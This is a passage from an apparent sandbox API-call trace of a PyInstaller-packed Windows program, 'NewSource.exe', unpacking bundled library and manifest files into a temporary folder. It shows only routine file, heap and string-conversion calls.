nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55dd58*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.671] htonl (hostlong=0x180000) returned 0x1800 [0034.671] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1800) returned 0x560088 [0034.671] htonl (hostlong=0xe00a0000) returned 0xae0 [0034.671] htonl (hostlong=0x180000) returned 0x1800 [0034.671] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561890 [0034.672] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561890 | out: hHeap=0x530000) returned 1 [0034.672] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.672] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55dd58 | out: hHeap=0x530000) returned 1 [0034.672] CloseHandle (hObject=0x10c) returned 1 [0034.672] GetLastError () returned 0x0 [0034.672] SetLastError (dwErrCode=0x0) [0034.672] GetLastError () returned 0x0 [0034.672] SetLastError (dwErrCode=0x0) [0034.672] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.672] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.672] GetFileType (hFile=0x10c) returned 0x1 [0034.672] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.672] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.672] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.672] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.672] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.672] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.672] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.672] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.672] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.672] CloseHandle (hObject=0x10c) returned 1 [0034.673] GetLastError () returned 0x0 [0034.673] SetLastError (dwErrCode=0x0) [0034.673] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Util") returned 57 [0034.673] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Util" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\util"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.673] GetFileType (hFile=0x10c) returned 0x1 [0034.673] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.673] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.673] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.673] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.673] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.673] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.673] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.673] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.673] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.673] CloseHandle (hObject=0x10c) returned 1 [0034.673] GetLastError () returned 0x0 [0034.673] SetLastError (dwErrCode=0x0) [0034.673] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Util\\_strxor.pyd") returned 69 [0034.673] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Util\\_strxor.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\util\\_strxor.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.673] GetLastError () returned 0x2 [0034.673] SetLastError (dwErrCode=0x2) [0034.673] GetLastError () returned 0x2 [0034.673] SetLastError (dwErrCode=0x2) [0034.673] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Util\\_strxor.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Util\\_strxor.pyd", lpFilePart=0x0) returned 0x44 [0034.673] GetLastError () returned 0x2 [0034.674] SetLastError (dwErrCode=0x2) [0034.674] GetLastError () returned 0x2 [0034.674] SetLastError (dwErrCode=0x2) [0034.674] GetLastError () returned 0x2 [0034.674] SetLastError (dwErrCode=0x2) [0034.674] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Util\\_strxor.pyd") returned 69 [0034.674] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.674] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Util\\_strxor.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\util\\_strxor.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.674] GetFileType (hFile=0x10c) returned 0x1 [0034.674] htonl (hostlong=0x180000) returned 0x1800 [0034.674] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0034.675] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0034.675] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x800, lpOverlapped=0x0) returned 1 [0034.675] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.675] CloseHandle (hObject=0x10c) returned 1 [0034.676] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.676] htonl (hostlong=0x30000000) returned 0x30 [0034.676] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.676] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.676] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.676] GetFileType (hFile=0x10c) returned 0x1 [0034.676] htonl (hostlong=0x1a9f0300) returned 0x39f1a [0034.676] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x84f1a, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.677] htonl (hostlong=0x23020000) returned 0x223 [0034.677] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x223) returned 0x550600 [0034.677] htonl (hostlong=0x23020000) returned 0x223 [0034.677] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0034.677] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.677] htonl (hostlong=0x1a040000) returned 0x41a [0034.677] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x41a) returned 0x550830 [0034.677] htonl (hostlong=0x23020000) returned 0x223 [0034.677] htonl (hostlong=0x1a040000) returned 0x41a [0034.677] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0034.677] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.677] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0034.677] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.677] CloseHandle (hObject=0x10c) returned 1 [0034.677] GetLastError () returned 0x0 [0034.677] SetLastError (dwErrCode=0x0) [0034.678] GetLastError () returned 0x0 [0034.678] SetLastError (dwErrCode=0x0) [0034.678] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Microsoft.VC90.CRT.manifest") returned 73 [0034.678] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.678] GetLastError () returned 0x2 [0034.678] SetLastError (dwErrCode=0x2) [0034.678] GetLastError () returned 0x2 [0034.678] SetLastError (dwErrCode=0x2) [0034.678] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Microsoft.VC90.CRT.manifest", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Microsoft.VC90.CRT.manifest", lpFilePart=0x0) returned 0x48 [0034.678] GetLastError () returned 0x2 [0034.678] SetLastError (dwErrCode=0x2) [0034.678] GetLastError () returned 0x2 [0034.678] SetLastError (dwErrCode=0x2) [0034.678] GetLastError () returned 0x2 [0034.678] SetLastError (dwErrCode=0x2) [0034.678] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Microsoft.VC90.CRT.manifest") returned 73 [0034.678] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.678] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.678] GetFileType (hFile=0x10c) returned 0x1 [0034.678] htonl (hostlong=0x1a040000) returned 0x41a [0034.678] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0034.678] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x41a, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x41a, lpOverlapped=0x0) returned 1 [0034.679] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.679] CloseHandle (hObject=0x10c) returned 1 [0034.680] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550830 | out: hHeap=0x530000) returned 1 [0034.680] htonl (hostlong=0x30000000) returned 0x30 [0034.680] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.680] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.680] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.680] GetFileType (hFile=0x10c) returned 0x1 [0034.680] htonl (hostlong=0x3da10300) returned 0x3a13d [0034.680] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x8513d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.680] htonl (hostlong=0xf020000) returned 0x20f [0034.680] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x20f) returned 0x550600 [0034.680] htonl (hostlong=0xf020000) returned 0x20f [0034.680] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0034.681] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.681] htonl (hostlong=0x42050000) returned 0x542 [0034.681] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x542) returned 0x55e278 [0034.681] htonl (hostlong=0xf020000) returned 0x20f [0034.681] htonl (hostlong=0x42050000) returned 0x542 [0034.681] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0034.681] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.681] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0034.681] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.681] CloseHandle (hObject=0x10c) returned 1 [0034.681] GetLastError () returned 0x0 [0034.681] SetLastError (dwErrCode=0x0) [0034.681] GetLastError () returned 0x0 [0034.681] SetLastError (dwErrCode=0x0) [0034.681] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\NewSource.exe.manifest") returned 68 [0034.681] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\NewSource.exe.manifest" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\newsource.exe.manifest"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.681] GetLastError () returned 0x2 [0034.681] SetLastError (dwErrCode=0x2) [0034.681] GetLastError () returned 0x2 [0034.681] SetLastError (dwErrCode=0x2) [0034.681] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\NewSource.exe.manifest", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\NewSource.exe.manifest", lpFilePart=0x0) returned 0x43 [0034.681] GetLastError () returned 0x2 [0034.681] SetLastError (dwErrCode=0x2) [0034.681] GetLastError () returned 0x2 [0034.681] SetLastError (dwErrCode=0x2) [0034.681] GetLastError () returned 0x2 [0034.681] SetLastError (dwErrCode=0x2) [0034.681] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\NewSource.exe.manifest") returned 68 [0034.681] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.682] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\NewSource.exe.manifest" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\newsource.exe.manifest"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.686] GetFileType (hFile=0x10c) returned 0x1 [0034.687] htonl (hostlong=0x42050000) returned 0x542 [0034.687] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0034.687] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x542, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x542, lpOverlapped=0x0) returned 1 [0034.687] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.688] CloseHandle (hObject=0x10c) returned 1 [0034.688] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0034.688] htonl (hostlong=0x30000000) returned 0x30 [0034.688] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.688] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.688] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.688] GetFileType (hFile=0x10c) returned 0x1 [0034.688] htonl (hostlong=0x4ca30300) returned 0x3a34c [0034.688] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x8534c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.689] htonl (hostlong=0xe9160800) returned 0x816e9 [0034.689] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x816e9) returned 0xc3d020 [0034.690] htonl (hostlong=0xe9160800) returned 0x816e9 [0034.690] ReadFile (in: hFile=0x10c, lpBuffer=0xc3d020, nNumberOfBytesToRead=0x81000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0xc3d020*, lpNumberOfBytesRead=0x4fcd58*=0x81000, lpOverlapped=0x0) returned 1 [0034.744] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0034.744] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.744] htonl (hostlong=0xe21000) returned 0x10e200 [0034.744] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10e200) returned 0x21bd020 [0034.747] htonl (hostlong=0xe9160800) returned 0x816e9 [0034.747] htonl (hostlong=0xe21000) returned 0x10e200 [0034.747] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0034.769] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.769] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0xc3d020 | out: hHeap=0x530000) returned 1 [0034.771] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.771] CloseHandle (hObject=0x10c) returned 1 [0034.771] GetLastError () returned 0x0 [0034.771] SetLastError (dwErrCode=0x0) [0034.771] GetLastError () returned 0x0 [0034.771] SetLastError (dwErrCode=0x0) [0034.771] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_bsddb.pyd") returned 56 [0034.771] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_bsddb.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\_bsddb.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.771] GetLastError () returned 0x2 [0034.771] SetLastError (dwErrCode=0x2) [0034.772] GetLastError () returned 0x2 [0034.772] SetLastError (dwErrCode=0x2) [0034.772] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_bsddb.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_bsddb.pyd", lpFilePart=0x0) returned 0x37 [0034.772] GetLastError () returned 0x2 [0034.772] SetLastError (dwErrCode=0x2) [0034.772] GetLastError () returned 0x2 [0034.772] SetLastError (dwErrCode=0x2) [0034.772] GetLastError () returned 0x2 [0034.772] SetLastError (dwErrCode=0x2) [0034.772] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_bsddb.pyd") returned 56 [0034.772] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.772] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_bsddb.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\_bsddb.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.772] GetFileType (hFile=0x10c) returned 0x1 [0034.772] htonl (hostlong=0xe21000) returned 0x10e200 [0034.772] WriteFile (in: hFile=0x10c, lpBuffer=0x21bd020*, nNumberOfBytesToWrite=0x10e000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x21bd020*, lpNumberOfBytesWritten=0x4fcd00*=0x10e000, lpOverlapped=0x0) returned 1 [0034.795] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0034.795] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x200, lpOverlapped=0x0) returned 1 [0034.795] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.795] CloseHandle (hObject=0x10c) returned 1 [0034.823] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x21bd020 | out: hHeap=0x530000) returned 1 [0034.827] htonl (hostlong=0x20000000) returned 0x20 [0034.827] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: 